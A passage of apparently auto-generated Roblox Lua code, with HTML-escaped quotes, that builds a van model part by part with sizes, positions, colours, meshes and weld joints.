  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  pcall(function() Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot;
  Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot;
  Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot; end)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,1.762965,3.525930)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(5.288894,5.055556,0.755556)
  Vehicle_Part.CFrame = CFrame.new(-29.209061,5.092054,179.593109) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_VanDoor = Instance.new(&apos;Model&apos;, Vehicle)
  Vehicle_VanDoor.Name = &quot;VanDoor&quot;
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(5.288894,5.055556,0.755556)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_VanDoor_Part1 = Instance.new(&apos;Part&apos;, Vehicle_VanDoor)
  Vehicle_VanDoor_Part1.Name = &quot;Part1&quot;
  Vehicle_VanDoor_Part1.formFactor = compatibility
  Vehicle_VanDoor_Part1.Anchored = true
  Vehicle_VanDoor_Part1.Size       = Vector3.new(0.251852,4.533338,5.037047)
  Vehicle_VanDoor_Part1.CFrame = CFrame.new(-37.393997,5.334615,176.633942) * CFrame.Angles(-0.000000,-1.570796,0.000000)
  Vehicle_VanDoor_Part1.BrickColor = BrickColor.new(1001)
  Vehicle_VanDoor_Part1.Transparency = 0.000000
  Vehicle_VanDoor_Part1.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_VanDoor_Part1:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_VanDoor_Part1)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,4.533338,5.037047)
      Vehicle_VanDoor_Part1.Size = Vector3.new(1,1,1)
  end
  Vehicle_VanDoor_Part2 = Instance.new(&apos;Part&apos;, Vehicle_VanDoor)
  Vehicle_VanDoor_Part2.Name = &quot;Part2&quot;
  Vehicle_VanDoor_Part2.formFactor = compatibility
  Vehicle_VanDoor_Part2.Anchored = true
  Vehicle_VanDoor_Part2.Size       = Vector3.new(0.251852,0.251852,0.755557)
  Vehicle_VanDoor_Part2.CFrame = CFrame.new(-39.156876,4.956856,176.382080) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_VanDoor_Part2.BrickColor = BrickColor.new(199)
  Vehicle_VanDoor_Part2.Transparency = 0.000000
  Vehicle_VanDoor_Part2.CanCollide = false
 pcall(function()  Vehicle_VanDoor_Part2_Part2_to_Part1_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_VanDoor_Part2)
  Vehicle_VanDoor_Part2_Part2_to_Part1_Strong_Joint.Name = &quot;Part2-to-Part1 Strong Joint&quot; end)
  Vehicle_Model = Instance.new(&apos;Model&apos;, Vehicle)
  Vehicle_Model.Name = &quot;Model&quot;
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_VanDoor_Part2:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_VanDoor_Part2)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,0.755557)
      Vehicle_VanDoor_Part2.Size = Vector3.new(1,1,1)
  end
  Vehicle_Model_Part = Instance.new(&apos;Part&apos;, Vehicle_Model)
  Vehicle_Model_Part.Name = &quot;Part&quot;
  Vehicle_Model_Part.formFactor = compatibility
  Vehicle_Model_Part.Anchored = true
  Vehicle_Model_Part.Size       = Vector3.new(0.557171,2.844446,2.718419)
  Vehicle_Model_Part.CFrame = CFrame.new(-42.209930,1.350277,182.412582) * CFrame.Angles(0.000000,1.570796,0.000000)
  Vehicle_Model_Part.BrickColor = BrickColor.new(26)
  Vehicle_Model_Part.Transparency = 0.000000
  Vehicle_Model_Part.CanCollide = false
  Vehicle_Model_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Model_Part)
  Vehicle_Model_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Model_Part_Mesh.MeshType  = Enum.MeshType.Cylinder
  Vehicle_Model_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Model_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Model_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.557171,2.844446,2.718419)
      Vehicle_Model_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Model_Part = Instance.new(&apos;Part&apos;, Vehicle_Model)
  Vehicle_Model_Part.Name = &quot;Part&quot;
  Vehicle_Model_Part.formFactor = compatibility
  Vehicle_Model_Part.Anchored = true
  Vehicle_Model_Part.Size       = Vector3.new(0.557171,2.844446,2.718419)
  Vehicle_Model_Part.CFrame = CFrame.new(-31.584171,1.350277,182.412582) * CFrame.Angles(0.000000,1.570796,0.000000)
  Vehicle_Model_Part.BrickColor = BrickColor.new(26)
  Vehicle_Model_Part.Transparency = 0.000000
  Vehicle_Model_Part.CanCollide = false
  Vehicle_Model_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Model_Part)
  Vehicle_Model_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Model_Part_Mesh.MeshType  = Enum.MeshType.Cylinder
  Vehicle_Model_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  Vehicle_Prop = Instance.new(&apos;Model&apos;, Vehicle)
  Vehicle_Prop.Name = &quot;Prop&quot;
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Model_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Model_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.557171,2.844446,2.718419)
      Vehicle_Model_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Prop_Part = Instance.new(&apos;Part&apos;, Vehicle_Prop)
  Vehicle_Prop_Part.Name = &quot;Part&quot;
  Vehicle_Prop_Part.formFactor = compatibility
  Vehicle_Prop_Part.Anchored = true
  Vehicle_Prop_Part.Size       = Vector3.new(3.475350,3.475350,3.475350)
  Vehicle_Prop_Part.CFrame = CFrame.new(-38.671669,9.913158,179.621109) * CFrame.Angles(1.570797,-0.261574,-0.000000)
  Vehicle_Prop_Part.BrickColor = BrickColor.new(192)
  Vehicle_Prop_Part.Transparency = 0.000000
  Vehicle_Prop_Part.CanCollide = false
  Vehicle_Prop_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Prop_Part)
  Vehicle_Prop_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Prop_Part_Mesh.MeshType  = Enum.MeshType.Sphere
  Vehicle_Prop_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  Vehicle_Prop_Part = Instance.new(&apos;Part&apos;, Vehicle_Prop)
  Vehicle_Prop_Part.Name = &quot;Part&quot;
  Vehicle_Prop_Part.formFactor = compatibility
  Vehicle_Prop_Part.Anchored = true
  Vehicle_Prop_Part.Size       = Vector3.new(3.475350,3.475350,3.475350)
  Vehicle_Prop_Part.CFrame = CFrame.new(-37.491631,9.596937,179.660431) * CFrame.Angles(1.570796,-0.261574,-0.000000)
  Vehicle_Prop_Part.BrickColor = BrickColor.new(1016)
  Vehicle_Prop_Part.Transparency = 0.000000
  Vehicle_Prop_Part.CanCollide = false
  Vehicle_Prop_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Prop_Part)
  Vehicle_Prop_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Prop_Part_Mesh.MeshType  = Enum.MeshType.Sphere
  Vehicle_Prop_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  Vehicle_Prop_Part = Instance.new(&apos;Part&apos;, Vehicle_Prop)
  Vehicle_Prop_Part.Name = &quot;Part&quot;
  Vehicle_Prop_Part.formFactor = compatibility
  Vehicle_Prop_Part.Anchored = true
  Vehicle_Prop_Part.Size       = Vector3.new(3.387840,3.387840,3.387840)
  Vehicle_Prop_Part.CFrame = CFrame.new(-36.247799,9.235614,179.572937) * CFrame.Angles(1.570796,-0.261574,-0.000000)
  Vehicle_Prop_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Prop_Part.Transparency = 0.000000
  Vehicle_Prop_Part.CanCollide = false
  Vehicle_Prop_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Prop_Part)
  Vehicle_Prop_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Prop_Part_Mesh.MeshType  = Enum.MeshType.Sphere
  Vehicle_Prop_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  Vehicle_Prop_Cone = Instance.new(&apos;Part&apos;, Vehicle_Prop)
  Vehicle_Prop_Cone.Name = &quot;Cone&quot;
  Vehicle_Prop_Cone.formFactor = compatibility
  Vehicle_Prop_Cone.Anchored = true
  Vehicle_Prop_Cone.Size       = Vector3.new(2.000000,5.000000,2.000000)
  Vehicle_Prop_Cone.CFrame = CFrame.new(-33.282967,8.361523,179.496857) * CFrame.Angles(1.570796,-0.261799,-1.570796)
  Vehicle_Prop_Cone.BrickColor = BrickColor.new(106)
  Vehicle_Prop_Cone.Transparency = 0.000000
  Vehicle_Prop_Cone.CanCollide = true
  Vehicle_Prop_Cone_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Prop_Cone)
  Vehicle_Prop_Cone_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Prop_Cone_Mesh.MeshType  = Enum.MeshType.FileMesh
  Vehicle_Prop_Cone_Mesh.MeshId    = &quot;http://www.roblox.com/asset/?id=1033714&quot;
  Vehicle_Prop_Cone_Mesh.Scale     = Vector3.new(1.000000,5.000000,1.000000)
  Vehicle_Model = Instance.new(&apos;Model&apos;, Vehicle)
  Vehicle_Model.Name = &quot;Model&quot;
  Vehicle_Model_Part = Instance.new(&apos;Part&apos;, Vehicle_Model)
  Vehicle_Model_Part.Name = &quot;Part&quot;
  Vehicle_Model_Part.formFactor = compatibility
  Vehicle_Model_Part.Anchored = true
  Vehicle_Model_Part.Size       = Vector3.new(0.557171,2.844446,2.718419)
  Vehicle_Model_Part.CFrame = CFrame.new(-31.584171,1.350277,176.789993) * CFrame.Angles(0.000000,1.570796,0.000000)
  Vehicle_Model_Part.BrickColor = BrickColor.new(26)
  Vehicle_Model_Part.Transparency = 0.000000
  Vehicle_Model_Part.CanCollide = false
  Vehicle_Model_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Model_Part)
  Vehicle_Model_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Model_Part_Mesh.MeshType  = Enum.MeshType.Cylinder
  Vehicle_Model_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Model_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Model_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.557171,2.844446,2.718419)
      Vehicle_Model_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Model_Part = Instance.new(&apos;Part&apos;, Vehicle_Model)
  Vehicle_Model_Part.Name = &quot;Part&quot;
  Vehicle_Model_Part.formFactor = compatibility
  Vehicle_Model_Part.Anchored = true
  Vehicle_Model_Part.Size       = Vector3.new(0.557171,2.844446,2.718419)
  Vehicle_Model_Part.CFrame = CFrame.new(-42.209930,1.350277,176.789993) * CFrame.Angles(0.000000,1.570796,0.000000)
  Vehicle_Model_Part.BrickColor = BrickColor.new(26)
  Vehicle_Model_Part.Transparency = 0.000000
  Vehicle_Model_Part.CanCollide = false
  Vehicle_Model_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Model_Part)
  Vehicle_Model_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Model_Part_Mesh.MeshType  = Enum.MeshType.Cylinder
  Vehicle_Model_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Model_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Model_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.557171,2.844446,2.718419)
      Vehicle_Model_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,1.599261,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-30.888924,2.697700,176.319138) * CFrame.Angles(-1.570796,0.321749,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,1.599261,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,6.748157)
  Vehicle_Part.CFrame = CFrame.new(-36.927155,1.682832,182.867142) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,6.748157)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.503704,0.251852,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-44.939186,4.200555,177.204605) * CFrame.Angles(0.519468,1.435922,-0.515547)
  Vehicle_Part.BrickColor = BrickColor.new(311)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.503704,0.251852,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,1.586668,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-32.320267,2.695672,182.867172) * CFrame.Angles(-1.570796,-0.321754,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,1.586668,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(6.296302,0.503704,0.755556)
  Vehicle_Part.CFrame = CFrame.new(-40.564240,2.816093,179.593155) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  pcall(function() Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot;
  Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot; end)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(6.296302,0.503704,0.755556)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,2.776668)
  Vehicle_Part.CFrame = CFrame.new(-44.926872,3.338388,179.589966) * CFrame.Angles(3.141554,-0.000064,-3.030904)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,2.776668)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,4.533338,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-40.038399,5.334615,176.570969) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,4.533338,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,1.070371)
  Vehicle_Part.CFrame = CFrame.new(-43.984608,2.060565,176.319138) * CFrame.Angles(-1.570796,0.643499,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,1.070371)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,0.755557)
  Vehicle_Part.CFrame = CFrame.new(-39.156876,4.956854,182.804153) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,0.755557)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,4.533338,5.540748)
  Vehicle_Part.CFrame = CFrame.new(-32.105125,5.334613,176.570969) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  pcall(function() Vehicle_Part_Part_to_Part1_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part1_Strong_Joint.Name = &quot;Part-to-Part1 Strong Joint&quot;
  Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot; end)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,4.533338,5.540748)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(5.288895,0.251852,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-29.208878,7.727126,179.593155) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(5.288895,0.251852,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,4.533338,5.037047)
  Vehicle_Part.CFrame = CFrame.new(-37.393997,5.334615,182.552292) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  pcall(function() Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot; end)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,4.533338,5.037047)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,2.776668)
  Vehicle_Part.CFrame = CFrame.new(-44.816917,4.327074,179.590012) * CFrame.Angles(3.141554,-0.000064,-3.030904)
  Vehicle_Part.BrickColor = BrickColor.new(194)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,2.776668)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,1.586668,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-32.320267,2.695714,176.319138) * CFrame.Angles(-1.570796,-0.321754,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,1.586668,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,1.070371)
  Vehicle_Part.CFrame = CFrame.new(-43.984516,2.060519,182.867126) * CFrame.Angles(-1.570796,0.643499,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,1.070371)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,4.533338,5.540747)
